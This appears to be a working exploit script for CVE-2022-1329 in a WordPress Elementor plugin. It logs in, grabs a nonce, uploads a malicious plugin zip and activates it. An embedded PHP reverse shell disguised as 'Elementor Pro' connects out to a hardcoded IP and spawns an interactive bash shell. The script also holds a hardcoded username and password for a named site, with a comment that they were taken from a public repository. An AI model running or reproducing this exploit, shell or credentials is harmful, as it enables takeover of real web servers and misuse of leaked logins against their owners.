Leak CVE-2022-1329 vulnerability exploit

Code:
#!/usr/bin/python
import requests
import re

requests.packages.urllib3.disable_warnings()

'''
payload content:
Create a zip file named payload.zip that contains a file called elementor-pro.php with your payload.

  example:
  (php reverseshell)
  <?php

    /**
    * Plugin Name: Elementor Pro
    */
    
    set_time_limit (0);
    $VERSION = "1.0";
    $ip = '133.198.33.194';  
    $port = 443;      
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/bash -i';
    $daemon = 0;
    $debug = 0;
    
    if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();
        
        if ($pid == -1) {
            printit("ERROR: Can't fork");
            exit(1);
        }
        
        if ($pid) {
            exit(0);  // Parent exits
        }
    
        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
            printit("Error: Can't setsid()");
            exit(1);
        }
    
        $daemon = 1;
    } else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
    }
    
    // Change to a safe directory
    chdir("/");
    
    // Remove any umask we inherited
    umask(0);
    
    //
    // Do the reverse shell...
    //
    
    // Open reverse connection
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
    }
    
    // Spawn shell process
    $descriptorspec = array(
      0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
      1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
      2 => array("pipe", "w")  // stderr is a pipe that the child will write to
    );
    
    $process = proc_open($shell, $descriptorspec, $pipes);
    
    if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
    }
    
    // Set everything to non-blocking
    // Reason: Occsionally reads will block, even though stream_select tells us they won't
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    
    printit("Successfully opened reverse shell to $ip:$port");
    
    while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
            printit("ERROR: Shell connection terminated");
            break;
        }
    
        // Check for end of STDOUT
        if (feof($pipes[1])) {
            printit("ERROR: Shell process terminated");
            break;
        }
    
        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
            if ($debug) printit("SOCK READ");
            $input = fread($sock, $chunk_size);
            if ($debug) printit("SOCK: $input");
            fwrite($pipes[0], $input);
        }
    
        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
            if ($debug) printit("STDOUT READ");
            $input = fread($pipes[1], $chunk_size);
            if ($debug) printit("STDOUT: $input");
            fwrite($sock, $input);
        }
    
        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
            if ($debug) printit("STDERR READ");
            $input = fread($pipes[2], $chunk_size);
            if ($debug) printit("STDERR: $input");
            fwrite($sock, $input);
        }
    }
    
    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
    
    // Like print, but does nothing if we've daemonised ourself
    // (I can't figure out how to redirect STDOUT like a proper daemon)
    function printit ($string) {
        if (!$daemon) {
            print "$string\n";
        }
    }
    
    ?>


'''

payloadFileName = 'payload.zip' 
baseUrl = 'https://share.s21sec.com/'
username = 'mcaballero' 
password = 'P(9NE@Zw*R0P9]SpB1Vo'  
# creds found on https://github.com/unaitxebrria/escaneo_vulnerabilidades_internas/blob/main/scripts/wordpress_scanner.php https://github.com/unaitxebrria/escaneo_vulnerabilidades_internas/blob/main/results/Vulnerability%20report.json


session = requests.Session()
cookies = { 'wordpress_test_cookie' : 'WP+Cookie+check' } 

def DoLogin(username, password):
    global cookies
    loginUrl = baseUrl + 'wp-login.php'
    adminUrl = baseUrl + 'wp-admin/'
    data = { 'log' : username, 'pwd' : password, 'wp-submit' : 'Login', 'redirect_to' : adminUrl, 'testcookie' : 1 }
    regexp = re.compile('"ajax":\\{"url":".+admin\\-ajax\\.php","nonce":"(.+)"\\}') 
    response = session.post(loginUrl, cookies=cookies, data=data,verify=False)
    search = regexp.search(response.text)
    if not search:
        print('Error - Invalid credentials?')
    else:
        print("NONCE")
        nonce_raw = search.group()
        nonce_ok = nonce_raw[76:86]
        return nonce_ok

def UploadFile(fileName, nonce):
    uploadUrl = baseUrl + 'wp-admin/admin-ajax.php'
    data = { 'action' : 'elementor_upload_and_install_pro', '_nonce' : nonce }
    files = { 'fileToUpload' : open(fileName, 'rb') }
    regexp = re.compile('"elementorProInstalled"') 
    response = session.post(uploadUrl, data=data, files=files,verify=False)
    search = regexp.search(response.text)
    if not search:
        print ('Error - Upload failed')
        return False
    else:
        print ('Upload completed successfully!')
        return True

def ActivatePayload():
    payloadUrl = baseUrl + 'index.php?activate=1'
    session.get(payloadUrl)

    
print('Trying to login...')
nonce = DoLogin(username, password)
print('Nonce found: ' + nonce)

print('Uploading payload...')
fileUploaded = UploadFile(payloadFileName, nonce)


print ('Activating payload...')
ActivatePayload()
print('Payload activated!')